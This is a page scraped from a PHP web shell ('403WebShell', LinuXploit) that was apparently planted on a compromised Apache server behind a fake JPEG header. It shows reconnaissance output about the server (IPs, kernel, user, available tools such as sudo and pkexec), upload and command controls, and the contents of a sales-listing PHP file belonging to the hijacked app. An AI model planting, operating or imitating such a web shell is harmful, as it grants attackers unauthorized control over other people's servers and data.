����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.222.185.243
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/var/www/html/app6/core/app/action/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/var/www/html/app6/core/app/action/sell2-action.php
<style>
	@media screen and (max-width: 1225px) and (min-width: 1045px) {
                .priority-5{
                        display:none;
                }
				.priority-6{
                        display:none;
                }
        }
		
		  @media screen and (max-width: 1045px) and (min-width: 835px) {
				.priority-6{
                        display:none;
                }
			   .priority-5{
                        display:none;
                }
                .priority-4{
                        display:none;
                }
        }
        
        @media screen and (max-width: 565px) and (min-width: 300px) {
                .priority-6{
                        display:none;
                }
				.priority-5{
                        display:none;
                }
                .priority-4{
                        display:none;
                }
                .priority-3{
                        display:none;
                }
				 .priority-2{
                        display:none;
                }
        }
        
        @media screen and (max-width: 300px) {
				 .priority-7{
                        display:none;
                }	
				.priority-6{
                        display:none;
                }
				.priority-5{
                        display:none;
                }
                .priority-4{
                        display:none;
                }
                .priority-3{
                        display:none;
                }
                .priority-2{
                        display:none;
                }
				.priority-1{
                        display:none;
                }
        
        }
</style>
		

<?php
$products = null;



	
	 $fecha = date('Y-m-d h:i:s');
			$fechaAtras = strtotime ( '-10 day' , strtotime ( $fecha ) ) ;
			$fechaAtras = date ( 'Y-m-d  ' , $fechaAtras );
			
			 $fechaActual = date("Y-m-d h:i:s",time());
			
		
		
$products = SellData::getSells($fechaAtras, $fechaActual);

if(count($products)>0){

	?>
<br>
<div class = "table-responsive">
<div class="box box-primary">
<div class="box-header">
<h3 class="box-title"> Detalle De ventas</h3></div>
<div class="box-body table-responsive no-padding">
	<table id="table_transaction" class="table table-bordered table-hover table-responsive datatable">
	<thead>
		<th>Detalles</th>
		<th class="priority-2">Folio</th>
		<th class="priority-3">Id</th>		
		<th class="priority-4">Pago</th>
		<th class="priority-5">Entrega</th>
		<th>Total</th>
		<th class="priority-1">Vendedor</th>
		<th class="priority-6">Almacen</th>
		<th>Fecha</th>
		<th></th>
	</thead>
	<?php foreach($products as $sell):
	if( $sell->total >0){
	?>

	<tr>
		<td style="width:30px;" >
        <?php if( $sell->getP()->name == "Pendiente" ):?>	
			<a href="#" class="btn btn-xs btn-default"><i class="glyphicon glyphicon-eye-open"></i></a>
		<?php else:?>
		
			<?php if($sell->getP()->name == "Credito"):?>
				<a href="index.php?view=onesellN&id=<?php echo $sell->sale_id;?>" class="btn btn-xs btn-default"><i class="glyphicon glyphicon-eye-open"></i></a>
			<?php else:?>
				<a href="index.php?view=onesell1&id=<?php echo $sell->id;?>&sale_id=<?php echo $sell->sale_id;?>" class="btn btn-xs btn-default"><i class="glyphicon glyphicon-eye-open"></i></a>
			<?php endif;?>
			
		<?php endif;?>
		</td>
		
		<td class="priority-2"><?php echo $sell->sale_id; ?></td>
		<td class="priority-3"><?php echo $sell->id; ?></td>

		<td class="priority-4"><?php echo $sell->getP()->name; ?></td>
		<td class="priority-5"><?php echo $sell->getD()->name; ?></td>
		<td>
			<?php
			$total= $sell->total-$sell->discount;
					echo "<b>$ ".number_format($sell->total,2,".",",")."</b>";
			?>			
		</td>
	
	<td class="priority-1"> 
	<?php if($sell->user_id!=null){
		$c= $sell->getUser();
		echo $c->name." ".$c->lastname;} ?> 
		
	<?php 
	if($sell->id_seller>0){
	$c1= UserData::getById2($sell->id_seller);	
	echo $sell->id_seller."-".$c1->username; 
	}
	?>	
	</td>
		<td class="priority-6"><?php echo $sell->getStockTo()->name; ?></td>
		<td><?php echo $sell->created_at; ?></td>
		<td style="width:30px;">
			<?php if(Core::$user->kind==1):?>
				<a href="index.php?view=delsellSeguridad&id=<?php echo $sell->id; ?>" class="btn btn-xs btn-danger"><i class="fa fa-trash"></i></a>
			<?php endif;?>
		</td>
	</tr>
	
<?php 
	}
	endforeach; ?>

</table>
</div>
</div>
	
<div class="clearfix"></div>

	<?php
}else{
	?>
	<div class="jumbotron">
		<h2>No hay ventas</h2>
		<p>No se ha realizado ninguna venta.</p>
	</div>
	<?php
}

?>



Youez - 2016 - github.com/yon3zu
LinuXploit